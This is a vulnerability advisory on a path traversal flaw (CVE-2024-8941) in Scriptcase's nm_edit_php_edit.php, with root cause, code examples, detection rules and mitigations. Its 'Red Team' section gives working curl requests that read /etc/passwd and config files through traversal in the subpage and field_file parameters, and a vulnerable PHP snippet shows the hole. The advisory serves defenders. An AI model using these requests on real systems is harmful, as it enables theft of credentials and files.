CVE-2024-8941

Executive Summary

CVE-2024-8941 is a critical path traversal vulnerability affecting Scriptcase version 9.4.019. The flaw resides in the /scriptcase/devel/compat/nm_edit_php_edit.php endpoint, specifically within the subpage and field_file POST parameters. An unauthenticated remote attacker can exploit this to bypass the SecurityManager's intended restrictions, listing and reading arbitrary files from parent directories. The vulnerability has a CVSS score of 7.5 (High) and is currently unpatched. No public exploit code or Nuclei templates have been released, but the vulnerability details are sufficient for exploitation.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a standalone PHP application (Scriptcase) vulnerability.

CVSS Breakdown & Threat Level

• CVSS Score: 7.5 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Attack Vector (AV): Network – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): None – No authentication is needed.
• User Interaction (UI): None – The attacker does not need to trick a user.
• Scope (S): Unchanged – The exploit does not affect other components.
• Confidentiality (C): High – Sensitive files can be read.
• Integrity (I): None – No file modification is possible.
• Availability (A): None – No denial of service.

Threat Level: High. The ease of exploitation and lack of authentication make this a critical risk for any exposed Scriptcase instance.

Deep Dive & Mechanics

The vulnerability is a classic path traversal (directory traversal) flaw in the nm_edit_php_edit.php script. The application fails to properly sanitize user-supplied input in the subpage and field_file POST parameters. By injecting path traversal sequences (e.g., ../ or .../), an attacker can navigate outside the intended web root directory.

Root Cause: The application uses user input to construct file paths without validating or sanitizing the input to prevent directory traversal. The SecurityManager is supposed to restrict access, but the path traversal bypasses these checks.

Attack Flow:

1. The attacker sends a POST request to /scriptcase/devel/compat/nm_edit_php_edit.php.
2. The subpage parameter is set to a path traversal sequence like ../../../../etc/passwd.
3. Alternatively, the field_file parameter can be used to specify a direct path.
4. The server reads and returns the contents of the requested file.

Impact: An unauthenticated attacker can read sensitive files such as configuration files (e.g., config.php, wp-config.php), database credentials, source code, and system files (e.g., /etc/passwd). This can lead to further compromise of the application and underlying server.

Vulnerable vs. Patched Code

Since no patch is available, we can only analyze the vulnerable code pattern.

Vulnerable Code (Conceptual):

<?php
// Vulnerable: Direct use of user input in file operations
$subpage = $_POST['subpage'];
$file_path = "/var/www/html/scriptcase/devel/compat/" . $subpage;
$content = file_get_contents($file_path);
echo $content;
?>

Patched Code (Expected):

<?php
// Patched: Validate and sanitize the path
$subpage = $_POST['subpage'];
$base_dir = realpath("/var/www/html/scriptcase/devel/compat/");
$requested_path = realpath($base_dir . "/" . $subpage);

// Ensure the resolved path is within the base directory
if (strpos($requested_path, $base_dir) === 0 && $requested_path !== false) {
    $content = file_get_contents($requested_path);
    echo $content;
} else {
    // Deny access
    http_response_code(403);
    echo "Access denied.";
}
?>

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A target running Scriptcase 9.4.019.
• Network access to the vulnerable endpoint.

Exploitation Steps:

1. Identify the target:

   curl -s -I http://target.com/scriptcase/devel/compat/nm_edit_php_edit.php
   

2. Exploit using subpage parameter:

   curl -X POST http://target.com/scriptcase/devel/compat/nm_edit_php_edit.php \
   -d "subpage=../../../../etc/passwd"
   

3. Exploit using field_file parameter:

   curl -X POST http://target.com/scriptcase/devel/compat/nm_edit_php_edit.php \
   -d "field_file=/etc/passwd"
   

4. Read configuration files:

   curl -X POST http://target.com/scriptcase/devel/compat/nm_edit_php_edit.php \
   -d "subpage=../../../../var/www/html/scriptcase/conf/config.php"
   

Expected Output: The contents of the requested file will be returned in the HTTP response body.

Blue Team (Defensive)

Detection:

• Monitor for POST requests to /scriptcase/devel/compat/nm_edit_php_edit.php with suspicious parameters.
• Look for path traversal sequences (../, .../, ..%2f) in the subpage or field_file parameters.
• Alert on any successful file read attempts outside the web root.

Mitigation:

• Immediately restrict access to the vulnerable endpoint using a Web Application Firewall (WAF) or reverse proxy.
• Implement input validation and sanitization for all file-related parameters.
• Apply the principle of least privilege to the web server user.
• Monitor logs for unusual file access patterns.

Indicators of Compromise (IOCs)

• Network IOCs:

  • POST requests to /scriptcase/devel/compat/nm_edit_php_edit.php
  • Parameters containing ../, .../, or absolute paths like /etc/passwd
  • HTTP response bodies containing sensitive file contents (e.g., root:x:0:0:root)

• File System IOCs:

  • Unexpected access to files outside the web root (e.g., /etc/passwd, /etc/shadow)
  • Modified or accessed configuration files

• Log IOCs:

  • Web server access logs showing POST requests to the vulnerable endpoint with path traversal patterns
  • Error logs showing file not found errors for traversed paths

Detection Engineering

YARA Rule

rule CVE_2024_8941_Scriptcase_Path_Traversal {
    meta:
        description = "Detects path traversal attempts targeting Scriptcase CVE-2024-8941"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-8941"
    strings:
        $traversal1 = "../"
        $traversal2 = "..\\"
        $traversal3 = ".../"
        $traversal4 = "..../"
        $param1 = "subpage="
        $param2 = "field_file="
        $endpoint = "nm_edit_php_edit.php"
    condition:
        all of ($param*) and any of ($traversal*) and $endpoint
}

Sigma Rule

title: Scriptcase CVE-2024-8941 Path Traversal Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects path traversal attempts targeting Scriptcase CVE-2024-8941
author: Valters IT
date: 2024/01/01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-8941
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/scriptcase/devel/compat/nm_edit_php_edit.php'
        cs-uri-query|contains:
            - 'subpage='
            - 'field_file='
    condition: selection
falsepositives:
    - Legitimate use of the endpoint with valid paths
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-8941 Scriptcase Path Traversal Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/scriptcase/devel/compat/nm_edit_php_edit.php"; http_uri; content:"subpage="; http_client_body; pcre:"/(\.\.\/|\.\.\\|\.\.\.\/)/"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable endpoint: If possible, remove or restrict access to /scriptcase/devel/compat/nm_edit_php_edit.php using a WAF or web server configuration.
2. Apply virtual patching: Use a WAF to block requests containing path traversal sequences in the subpage and field_file parameters.
3. Monitor logs: Actively monitor web server logs for exploitation attempts.

Long-Term Fixes:

1. Vendor Patch: Await an official patch from Scriptcase. Contact the vendor for an ETA.
2. Code Hardening: If you have access to the source code, implement proper input validation and path sanitization as shown in the "Patched Code" section.
3. Upgrade: Upgrade to a patched version of Scriptcase once available.
4. Network Segmentation: Ensure the Scriptcase application is not directly exposed to the internet. Use a reverse proxy or VPN.

Workaround:

• Modify the .htaccess file or web server configuration to deny POST requests to the vulnerable endpoint:

  <LocationMatch "/scriptcase/devel/compat/nm_edit_php_edit.php">
      <Limit POST>
          Deny from all
      </Limit>
  </LocationMatch>
  

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert